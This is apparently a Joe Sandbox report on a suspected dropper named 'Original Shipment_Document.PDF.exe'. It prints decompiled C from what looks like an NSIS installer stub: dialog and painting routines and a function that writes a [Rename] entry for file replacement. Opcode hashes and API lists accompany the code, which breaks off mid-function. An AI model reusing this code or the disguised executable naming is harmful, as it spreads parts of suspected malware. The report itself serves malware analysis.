								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x423700 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x423700 + _t300 * 4) = _t284;
									_v16 =  *( *0x423700 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x42a24c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E00404498(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00404498(_v12);
								L93:
								return E004044CA(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404ed7
0x00404ef0
0x00404ef5
0x00404efd
0x00404f03
0x00404f19
0x00404f1c
0x00405147
0x0040514e
0x00405162
0x00405150
0x00405152
0x00405155
0x00405156
0x0040515d
0x0040515d
0x0040516e
0x0040517c
0x0040517f
0x00405195
0x0040520a
0x0040520d
0x0040520f
0x00405219
0x00405227
0x00405227
0x00405229
0x00405233
0x00405239
0x0040523c
0x0040523f
0x0040525a
0x00405241
0x0040524b
0x0040524b
0x0040523f
0x00405233
0x00000000
0x0040520d
0x0040519a
0x004051a5
0x004051aa
0x004051b1
0x004051b6
0x004051ba
0x004051c5
0x004051c5
0x004051c9
0x004051cd
0x004051d1
0x004051e4
0x004051d3
0x004051d3
0x004051da
0x004051e0
0x004051dc
0x004051dc
0x004051dc
0x004051da
0x004051e8
0x004051ea
0x004051fd
0x00405200
0x00405203
0x00405203
0x004051cd
0x00000000
0x004051ba
0x0040519c
0x004051a3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040525d
0x0040525d
0x00405264
0x004052d5
0x004052dd
0x004052e5
0x004052e5
0x004052ee
0x004052f0
0x004052f7
0x004052fa
0x004052fa
0x00405300
0x00405307
0x0040530a
0x0040530a
0x00405310
0x00405316
0x0040531c
0x0040531c
0x00405329
0x0040548a
0x00405491
0x004054ae
0x004054b4
0x004054c6
0x004054c6
0x00000000
0x0040532f
0x00405331
0x00405336
0x0040533b
0x00405340
0x00405342
0x00405342
0x00405343
0x00405344
0x00405346
0x00405346
0x0040534e
0x0040538f
0x00405391
0x004053a1
0x004053a4
0x004053a9
0x004053b0
0x004053b3
0x00405455
0x0040545e
0x00405466
0x00405466
0x00405474
0x00405485
0x00405485
0x00000000
0x00405474
0x004053b9
0x004053bc
0x004053c2
0x004053c7
0x004053c9
0x004053cb
0x004053d1
0x004053d8
0x004053dd
0x004053e4
0x004053e7
0x004053e7
0x004053ee
0x004053fa
0x004053fe
0x00405400
0x00405400
0x004053f0
0x004053f2
0x004053f2
0x00405420
0x0040542c
0x0040543b
0x0040543b
0x0040543d
0x00405440
0x00405449
0x00000000
0x00405350
0x0040535b
0x0040535e
0x00405363
0x00405365
0x00405369
0x00405379
0x00405383
0x00405385
0x00405388
0x00000000
0x00000000
0x00000000
0x00000000
0x0040536b
0x0040536b
0x00405371
0x00405373
0x00405373
0x00405374
0x00405375
0x00000000
0x0040536b
0x0040534e
0x00405329
0x0040526c
0x00000000
0x00405282
0x0040528c
0x00405291
0x00000000
0x00000000
0x004052a3
0x004052a8
0x004052b4
0x004052b4
0x004052b6
0x004052c5
0x004052c7
0x004052cb
0x004052ce
0x00000000
0x004052ce
0x0040526c
0x00404f22
0x00404f27
0x00404f30
0x00404f37
0x00404f49
0x00404f54
0x00404f5a
0x00404f68
0x00404f7c
0x00404f81
0x00404f8e
0x00404f93
0x00404fa9
0x00404fba
0x00404fc7
0x00404fc7
0x00404fca
0x00404fd0
0x00404fd2
0x00404fd5
0x00404fda
0x00404fdf
0x00404fe1
0x00404fe1
0x00405001
0x00405001
0x00405003
0x00405004
0x00405009
0x0040500f
0x00405013
0x00405018
0x00405020
0x00405024
0x00405029
0x0040502e
0x00405036
0x00405039
0x00405109
0x0040511c
0x00000000
0x0040503f
0x00405042
0x00405045
0x00405048
0x00405048
0x0040504e
0x00405057
0x0040505a
0x0040505e
0x00405061
0x00405064
0x0040506d
0x00405076
0x00405079
0x0040507c
0x0040507f
0x004050bd
0x004050e8
0x004050bf
0x004050ce
0x004050ce
0x00405081
0x00405084
0x00405092
0x0040509c
0x004050a4
0x004050ab
0x004050b6
0x004050b6
0x0040507f
0x004050ee
0x004050ef
0x004050fb
0x004050fb
0x00405107
0x00405122
0x00405125
0x00405142
0x00000000
0x00405127
0x0040512c
0x00405135
0x004054c8
0x004054da
0x004054da
0x00405125
0x00000000
0x00405107
0x00405039

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404EE8
GetDlgItem.USER32(?,00000408), ref: 00404EF3
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F3D
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F54
SetWindowLongW.USER32(?,000000FC,004054DD), ref: 00404F6D
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404F81
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404F93
SendMessageW.USER32(?,00001109,00000002), ref: 00404FA9
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FB5
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FC7
DeleteObject.GDI32(00000000), ref: 00404FCA
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404FF5
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405001
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040509C
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 004050CC

Part of subcall function 00404498: SendMessageW.USER32(00000028,?,00000001,004042C3), ref: 004044A6

SendMessageW.USER32(?,00001132,00000000,?), ref: 004050E0
GetWindowLongW.USER32(?,000000F0), ref: 0040510E
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040511C
ShowWindow.USER32(?,00000005), ref: 0040512C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405227
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040528C
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052A1
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052C5
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004052E5
ImageList_Destroy.COMCTL32(?), ref: 004052FA
GlobalFree.KERNEL32(?), ref: 0040530A
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405383
SendMessageW.USER32(?,00001102,?,?), ref: 0040542C
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040543B
InvalidateRect.USER32(?,00000000,00000001), ref: 00405466
ShowWindow.USER32(?,00000000), ref: 004054B4
GetDlgItem.USER32(?,000003FE), ref: 004054BF
ShowWindow.USER32(00000000), ref: 004054C6

Strings

N, xrefs: 00405165
M, xrefs: 00405084
, xrefs: 0040549E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 35b73b0ddb5c37642a621bb27d0b5ea63b41f9933646945a10f9cae77aa2ee02
Instruction ID: f25f8d73efcf6ba6a17deb726488d783a00b9a1a7703c2d4830b1b44d3514242
Opcode Fuzzy Hash: 35b73b0ddb5c37642a621bb27d0b5ea63b41f9933646945a10f9cae77aa2ee02
Instruction Fuzzy Hash: 34027D70A00609EFDB20DF95CC45AAF7BB5FB84315F10817AE910BA2E1D7798A52CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404622 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404622(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				intOrPtr _t69;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x4216d4 =  *0x4216d4 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E004044CA(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x4281c0;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E004048D1(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x42a228, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x42a228, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x4216d4 != 0) {
						goto L27;
					} else {
						_t69 =  *0x4226e0; // 0x54b2dc
						_t29 = _t69 + 0x14; // 0x54b2f0
						_t116 = _t29;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00404485(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004048AD();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x4291fc - 4 + _t75 * 4);
				}
				_t76 =  *0x42a258 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E004045D3;
				if(_t110 != 2) {
					_v8 = E00404599;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404463(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404463(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00404485( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E00404498(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x42a230 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x4216d4 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x4216d4 = 0;
				return 0;
			}

0x00404634
0x00404761
0x004047be
0x004047c2
0x0040488f
0x00404891
0x00404891
0x00404897
0x00404897
0x0040489a
0x00000000
0x004048a1
0x004047d0
0x004047d6
0x004047e0
0x004047eb
0x004047ee
0x004047f1
0x004047fc
0x004047ff
0x00404806
0x00404813
0x00404824
0x0040482a
0x00404832
0x00404840
0x00404846
0x00404846
0x00404806
0x00404850
0x00000000
0x0040485b
0x0040485f
0x0040486f
0x0040486f
0x00404875
0x00404881
0x00404881
0x00000000
0x00404885
0x00404850
0x0040476c
0x00000000
0x0040477e
0x0040477e
0x00404783
0x00404783
0x00404789
0x00000000
0x00000000
0x004047b2
0x004047b4
0x004047b9
0x00000000
0x004047b9
0x0040476c
0x0040463a
0x0040463d
0x00404642
0x00404653
0x00404653
0x0040465b
0x0040465e
0x00404662
0x00404665
0x00404669
0x0040466c
0x0040466f
0x00404672
0x00404679
0x0040467b
0x0040467b
0x00404685
0x00404692
0x0040469c
0x004046a1
0x004046a4
0x004046a9
0x004046c0
0x004046c7
0x004046da
0x004046dd
0x004046f1
0x004046f8
0x004046fd
0x00404702
0x00404702
0x00404710
0x0040471e
0x00404730
0x00404735
0x00404745
0x00404747
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046C0
GetDlgItem.USER32(?,000003E8), ref: 004046D4
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004046F1
GetSysColor.USER32(?), ref: 00404702
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404710
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040471E
lstrlenW.KERNEL32(?), ref: 00404723
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404730
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404745
GetDlgItem.USER32(?,0000040A), ref: 0040479E
SendMessageW.USER32(00000000), ref: 004047A5
GetDlgItem.USER32(?,000003E8), ref: 004047D0
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404813
LoadCursorW.USER32(00000000,00007F02), ref: 00404821
SetCursor.USER32(00000000), ref: 00404824
LoadCursorW.USER32(00000000,00007F00), ref: 0040483D
SetCursor.USER32(00000000), ref: 00404840
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040486F
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404881

Strings

Call, xrefs: 004047FF
N, xrefs: 004047BE

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 0388ebf4b552688962da2f0e60a0ed45a0ac6c6640f7b9ebe92ad344b143db63
Instruction ID: bd26b540472948519bfd0c296b0258925a36bd111cdc3ec084d9598cfd27fd02
Opcode Fuzzy Hash: 0388ebf4b552688962da2f0e60a0ed45a0ac6c6640f7b9ebe92ad344b143db63
Instruction Fuzzy Hash: A16180B1900209FFDB10AF61DD85AAA7B69FB84314F00853AFA05B62D1C7789D61CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42a230;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x429220, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42a228;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429220,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0581a76dac59d14a304b59f1a22efed427390318551c262ebfc8c4fa99717288
Instruction ID: ce1ac2179a7edcd12a9bbec6f3b07c603adbad34dac6b1105353c89659c02e28
Opcode Fuzzy Hash: 0581a76dac59d14a304b59f1a22efed427390318551c262ebfc8c4fa99717288
Instruction Fuzzy Hash: 63417B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0CB74DA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040614D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040614D(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x426da8 = 0x55004e;
				 *0x426dac = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x4275a8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4269a8, "%ls=%ls\r\n", 0x426da8, 0x4275a8);
						_t53 = _t52 + 0x10;
						E00406544(_t37, 0x400, 0x4275a8, 0x4275a8,  *((intOrPtr*)( *0x42a230 + 0x128)));
						_t12 = E00405FF7(0x4275a8, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E0040607A(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405F5C(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405F5C(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405FB2(_t24 + _t46, 0x4269a8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E004060A9(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405FF7(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x426da8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x0040614d
0x00406156
0x0040615d
0x00406167
0x0040617b
0x004061a3
0x004061ae
0x004061b2
0x004061d2
0x004061d9
0x004061e3
0x004061f0
0x004061f5
0x004061fa
0x004061fe
0x0040620d
0x0040620f
0x0040621c
0x00406220
0x004062bb
0x00000000
0x00406236
0x00406243
0x00406267
0x0040626b
0x0040628a
0x0040628e
0x0040628e
0x00406290
0x00406299
0x004062a4
0x004062af
0x004062b5
0x00000000
0x004062b5
0x0040626d
0x00406270
0x0040627b
0x00406277
0x00406279
0x0040627a
0x0040627a
0x00406282
0x00406284
0x00000000
0x00406284
0x0040624e
0x00406254
0x00000000
0x00406254
0x00406220
0x004061fe
0x0040617d
0x00406188
0x00406191
0x00406195
0x00000000
0x00000000
0x00406195
0x004062c6

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004062E8,?,?), ref: 00406188
GetShortPathNameW.KERNEL32(?,00426DA8,00000400), ref: 00406191

Part of subcall function 00405F5C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406241,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F6C
Part of subcall function 00405F5C: lstrlenA.KERNEL32(00000000,?,00000000,00406241,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F9E

GetShortPathNameW.KERNEL32(?,004275A8,00000400), ref: 004061AE
wsprintfA.USER32 ref: 004061CC
GetFileSize.KERNEL32(00000000,00000000,004275A8,C0000000,00000004,004275A8,?,?,?,?,?), ref: 00406207
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406216
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040624E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,004269A8,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062A4
GlobalFree.KERNEL32(00000000), ref: 004062B5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062BC

Part of subcall function 00405FF7: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,80000000,00000003,?,?,?,?,?,00403847,?), ref: 00405FFB
Part of subcall function 00405FF7: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,00403847,?), ref: 0040601D

Strings

[Rename], xrefs: 00406236, 00406248
%ls=%ls, xrefs: 004061C2

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 48f58ee6c1568dd199c04865158994eb8a9ff379ffc5c95430a82ce8fda2b485
Instruction ID: ee14a5085299e91e75cde0480e6b7733258fb9cdf367bc6c01a907801337673b
Opcode Fuzzy Hash: 48f58ee6c1568dd199c04865158994eb8a9ff379ffc5c95430a82ce8fda2b485
Instruction Fuzzy Hash: 03312130201715BFD2207B619D48F2B3AACEF41718F16007EBD42F62C2DE3C982586AD

Uniqueness

Uniqueness Score: -1.00%

Function 004044CA Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044CA(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
